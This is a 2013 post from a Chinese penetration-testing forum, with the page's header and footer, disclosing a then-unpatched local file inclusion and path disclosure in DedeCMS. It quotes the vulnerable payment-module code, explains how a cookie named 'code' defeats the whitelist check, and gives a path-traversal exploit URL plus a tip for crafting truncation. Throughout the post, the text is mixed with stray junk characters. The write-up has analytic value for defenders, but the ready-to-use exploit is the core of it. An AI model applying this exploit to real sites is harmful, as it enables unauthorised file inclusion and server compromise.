中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
3 O. ~" N& r; S- \7 |6 _! b' h; ]$ Q2 Q' A3 @# e6 e
出现漏洞的两个文件为:& h' E4 H, [% M9 h
Include/payment/alipay.php- ^% }5 Y2 n) N/ v, N# C
Include/payment/yeepay.php
# H+ j9 w& A& o4 R漏洞均出现在respond方法里,估计这两个文件是临时工写的。: K9 S/ v: s  V; ?. L" z+ O+ w6 y
+ H9 u& o) m5 K9 T1 E4 k! U0 r; y
Include/payment/alipay.php; c6 G, k3 f1 G! ]9 f
) ^9 a. B3 W' I0 _( P
......
* A6 i9 _( [1 ~5 N+ b2 e  D3 j   function respond()
7 J% @4 T  |) X: I! k    {
/ e: k0 u7 P. N# d        if (!empty($_POST))- E' l& E0 D" ~
        {
& ]7 i' T( T, ?7 q            foreach($_POST as $key => $data)
; E' @: P2 R$ @& k            {
0 f- ^3 r; q1 ?6 K# l( a% E                $_GET[$key] = $data;+ r% u& _+ H, @  t" p% s
            }
, o2 K( w) E* T5 w        }- C0 R9 ~1 P% P9 _* h
        /* 引入配置文件 */( S" M& v! r% n$ S
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
% F" [+ _* w  |: ^4 b2 h* H...... 0 C( r( F& C0 H6 Q! b& s8 {

- e/ j3 Y4 g( O. J; j; m& f. @9 g4 h/ l3 Q8 s
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。$ \9 _/ a& G" U6 k8 w

/ k% J' U4 z; y( Y1 x) }Include/payment/yeepay.php
/ U; [( e( p, B( m3 W  L) c" \; _: f2 b

5 \; I1 z! w3 T* z, a; U2 t; h. m2 x8 m( B' C7 v
......( E# T) i% z" y4 R: Q
    function respond()2 z, r; N5 g/ j
    {- ^8 R+ ~# l% l

! ~% T2 ~* ]: z% K- O* O, ~        /* 引入配置文件 */
( x  f" D8 E' S9 R        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';7 `* J, s* s1 l, K* P
( X* d9 R/ |$ d: r9 x6 P6 V% }
        $p1_MerId = trim($payment['yp_account']);2 z$ B4 [  b! ^% p
        $merchantKey = trim($payment['yp_key']);
0 \' J2 Z$ D& B4 }/ d" K3 a* R, \......
/ d# O- f$ Z3 @/ I7 d9 H6 |# m8 f! K
* }  U( j; F0 o& l+ q8 A- Y+ C. @1 j& T2 ~" p. k& i- ?
" ~6 d# a+ w- z9 t' {) J- ~

; ~4 ?# ?; `/ X& X6 A大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
" x* ~5 N* J+ ^4 g6 N
1 ~' e; k  c% }  t3 g: x这两个方法在plus/carbuyaction.php文件调用。
" X7 P; O% t% p% b: [
2 }) X, p% O7 t( b2 [3 Yplus/carbuyaction.php
- h% t* `8 G% d" _+ @* R
7 Z3 `3 x) ~9 |0 E/ L......4 l7 ]: e  ]8 ~' e0 ]
} else if ($dopost == 'return') {
" r7 o( `1 x4 }3 @9 y# U6 D4 h: ?    $write_list = array('alipay', 'bank', 'cod', 'yeepay');" E7 f$ U& O" }7 N: _, Q
    if (in_array($code, $write_list))
1 N5 P8 X4 Z" v! R    {
9 V6 Q7 \: W7 \6 U$ g        require_once DEDEINC.'/payment/'.$code.'.php';
! L0 q( \2 n# k9 B        $pay = new $code;6 W* m' A+ K+ r& I
        $msg=$pay->respond();* g( G, @3 A8 P! t2 A
        ShowMsg($msg, "javascript:;", 0, 3000);
3 K( y; \; T  E9 A& `. {- z        exit();  ) _9 Z! j% {+ A+ `. K. M- v/ K
    } else {6 o# L6 S3 @( g0 |/ T% f/ C
        exit('Error:File Type Can\'t Recognized!');
, }1 |, k6 Z! v    }
* ~2 [3 d8 m5 j0 u2 d/ s: p}
% c. Y# N0 I( Z4 I8 \7 O3 [* ]......
: S0 r! I$ O, T
- A7 \. ]* C9 @- G' A
& ^8 h8 h: r0 P# j& t 5 a) Q# p, ^  U! o/ a

5 a; A- ~' r4 S! K& {& ]  |- f 1 _- x1 ]+ H- Q9 O/ P% _. j+ |

) u8 Y2 a* T" ^( D; ~! U大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 ~% M$ M! D0 w- r* h1 B- T所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
7 y4 r- V* A& k8 N* [& _- A2 V/ R0 _! j- D, `7 a8 V8 R/ _
回到include/common.inc.php来看看他的机制。
4 e( l# c( ?; Q: d( _7 u6 F9 P: M5 m

$ p! p2 D0 q, |. a, e% G9 E
! f9 ~. u; n; }+ E9 W# q......
, @" r) I$ d( _4 e! Z$ V- `foreach(Array('_GET','_POST','_COOKIE') as $_request)
0 n" E/ S- I5 _8 D4 [6 ?  {{0 L& M9 L) r, l
        foreach($$_request as $_k => $_v) % R' C2 C+ p0 N% {" ]
        {
! }8 n: c! N3 D7 k. ?                if($_k == 'nvarname') ${$_k} = $_v;# g1 M6 X* t' y* S6 S% @
                else ${$_k} = _RunMagicQuotes($_v);
4 L! W& ?  ]: I5 V3 n8 t        }$ O/ o" m) H7 _( A
}7 y4 y& N" D# l0 r  u- X  ~
......
& @) N0 d+ E$ Q大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
; b% @! Z* s0 ?& K/ a+ |由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2